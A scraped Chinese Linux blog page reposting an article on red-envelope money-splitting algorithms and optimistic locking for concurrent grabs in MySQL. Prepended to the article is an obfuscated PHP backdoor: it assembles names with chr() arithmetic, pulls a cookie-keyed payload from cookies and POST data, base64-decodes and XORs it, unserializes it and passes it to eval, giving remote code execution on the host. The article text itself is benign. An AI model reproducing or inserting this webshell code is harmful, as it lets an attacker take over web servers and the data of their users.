$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 浅谈群红包的实现 | Linux运维部落

浅谈群红包的实现

前言:
红包是支付的方式, 也是社交的延伸。群红包在这两块领域串联得很好, 表现尤为的浓墨重彩. 
承接上两篇技术浅谈:
1). 浅谈接龙红包的技术实现.
2). 浅谈微信红包摇一摇的技术实现.
这一次, 让我们谈谈群红包的技术实现. 一为是红包的分配算法, 二为竞抢的技术实现.

分配算法:
最初玩群红包的时候, 并没有意识到分配算法的难度. 下意识的觉得, 不就是个随机算法嘛? so easy! 后来在知乎上看到很多人在讨论, 才意识到该算法或许并不简单. 
好的东西, 往往让人觉得简单, 而其背后默默挨打的小怪兽(精细和缜密), 你是否可曾留意过.
我们先来看看, 最自然的随机算法, 为何不合理?
假设T为总金额, k为红包个数, 每次获取先保底(每人至少得最小金额为0.01), 然后取随机剩余数
则Ai的迭代公式为:

1
2
Ai = random(0.01, T – 0.01 * (k – i) – A0 – … – Ai-1)           (0 <= i < k – 1)
Ak-1 = T – A0 – … – Ak-2                                        (最后玩家所得)

貌似简单合理, 殊不知头重脚轻, 统计概率上, 排前面的值往往大于排后面的值, 当k很大, 最后几位往往会被收敛为0.01.
显然不合理, 这篇<<微信红包的算法实现探讨>>博文也证述了该现象. 

结合上面的例子, 一个好的分配算法, 必须具备以下几个条件:
1). 每个玩家都能领到红包
2). 所有玩家的红包钱数和等于总数
3). 无论哪个顺序位, 在红包分配上的概率是平等公平的
对了条件(3)的解读, 可以这么理解, 每个顺序位的预期红包分配数为N/k (N为红包总素,k为用户数). 一次分配差异大, 但统计重复M次, M越大, 预期平均值越接近N/k. 这就是宏观上的平等.

有人就以平均值做突破口, 引入截尾正态分布, 达到了非常好的效果.
浅谈群红包的实现
详细见<<微信红包算法探讨>>这篇博文, 这边具体也不展开了.

工程的角度, 我们可以简化算法, 用拟合的算法来近似代替.
概率函数为:

1
2
3
对于第i个玩家而言
随机生成(k-i)个 Bj (j=0,1,k-i-1), Bj范围在[0, 100]之间.
则概率函数P(i) = Bi / (B0 + B1 + … + Bk-i-1)

对于Ai, 则迭代公式为:

1
2
Ti = T – 0.01 * (k – i) – A0 – … – Ai-1
则Ai = Ti * P(i) + 0.01 = Ti * Bi / (B0 + B1 + … + Bk-i-1) + 0.01

因为使用加减乘除, 比用高级概率分布的sin/cos/log函数计算效率要高.

竞抢技术:
群红包的”抢夺”, 最重要的还是数据安全问题.说白了就是竞态条件下, 如何保证数据完整性和一致性
业内对该类问题, 有大致三种主流的做法:
1). 悲观锁思路
2). FIFO队列思路
3). 乐观锁思路
悲观锁思路, 常见的是借用mysql的SELECT … FOR UPDATE语句来实现.

1
2
3
4
begin transaction;        // (1)开启事务
select … for update;       // (2)锁定某行记录
update … set … where …;  // (3)进行记录更新
commit transaction;      // (4)事务提交

这边重点讲讲乐观锁机制, 其不光能用于关系数据库,也能用于NoSQL.
乐观锁的核心思想是, 基于版本号的更新, 前提是操作需保证原子性.
设计简化的红包表:
浅谈群红包的实现
注释: total_money为总金额, total_number为红包数, left_money为剩余金额数, left_number为剩余红包数
当用户拆红包时, 触发如下流程
(1) 查询群红包信息

1
2
3
SELECT left_money, left_number, version_id
FROM tb_hongbao
WHERE envelope_id = ‘?’;

(2) 计算所分配的红包
通过上述的方法, 通过left_money, left_number计算出具体的红包: delta_money
(3) 更新群红包信息

1
2
3
4
5
6
7
UPDATE tb_hongbao
SET
    left_money = left_money – delta_money,
    left_number = left_number – 1,
    version_id = version_id + 1
WHERE
    envelope_id = ‘?’ AND version_id = ‘old_version_id’

SQL是能保证原子性的, 带着上次查询回来的version_id去更新, 若version_id一致, 则更新成功, 版本号递增, 若不一致, 则需要重复1~3步, 直至成功或放弃.
这边讲述的利用mysql来实现的, 事实上有些Nosql系统也支持(大淘宝的Tair服务).

写在最后:
如果你觉得这篇文章对你有帮助, 请小小打赏下. 其实我想试试, 看看写博客能否给自己带来一点小小的收益. 无论多少, 都是对楼主一种由衷的肯定.

转自: http://www.cnblogs.com/mumuxinfei/p/4305979.html

原创文章,作者:stanley,如若转载,请注明出处:http://www.178linux.com/847

(0)
上一篇 2015-03-10 16:00
下一篇 2015-03-10 22:41

相关推荐

  • DNS服务器之配置

    一、安装DNS服务器     DNS服务的安装包为bind,使用yum直接安装即可:     安装完成后,查看DNS服务相关的文件: 二、配置正向区域     1、在配置正向区域之前,先来看下主配置文件中的内容:    &nbsp…

    Linux干货 2015-05-03
  • ☞SELinux

    ☞SELinux 概述 SELinux(Secure Enhanced Linux)是美国国家安全局(NSA)和SCC开发的Linux的一个强制访问控制的安全模块。2000年以GNU GPL发布,Linux内核2.6版本后集成在内核中。它能够限制权限,进程只能访问那些在他的任务中所需要文件。 Selinux是根据最小权限模型去限制进程在对象(如文件,目录,端…

    Linux干货 2016-09-18
  • 合并 CentOS 6.8 的两个iso镜像

    合并 CentOS 6.8 的两个iso镜像 合并 CentOS 6.8 的两个DVD镜像 1、创建相关目录:                              &nbsp…

    Linux干货 2017-04-24
  • 第十一周

    1、详细描述一次加密通讯的过程,结合图示最佳。 2、描述创建私有CA的过程,以及为客户端发来的证书请求进行办法证书。 CA 服务器端: (1)生成 CA 服务器的私钥 (umask 077; openssl genrsa -out /etc/pki/CA/private/cakey.pem 4096) (2)生成 CA服务器自谦证书 openssl req …

    Linux干货 2017-03-30
  • linux的一些简单的命令与操作

    1生产环境发现一台服务器系统时间产生偏差,造成服务异常,请帮忙校正。 首先通过hwclock,clock:显示硬件时间,然后通过hwclock –s来以硬件时间为准。校正系统时间。 2生产有一个数据同步脚本需要执行很长时间,怎样做到无人值守,在管理工具退出的情况下,脚本依然能正常运行。 首先看看系统里面按没安装screen,没的话要安装。 安装:首先先把光盘…

    Linux干货 2016-10-19
  • N25期–第十三周作业

    1、 建立samba共享,共享目录为/data,要求:(描述完整的过程)  1)共享名为shared,工作组为magedu;  2)添加组develop,添加用户gentoo,centos和ubuntu,其中gentoo和centos以develop为附加组,ubuntu不属于develop组;密码均为用户名;  3)添加sam…

    Linux干货 2017-04-05

评论列表(1条)

  • 红豆殺
    红豆殺 2015-03-13 09:52

    看到这算法,隐隐有种高数的感觉~ :eek: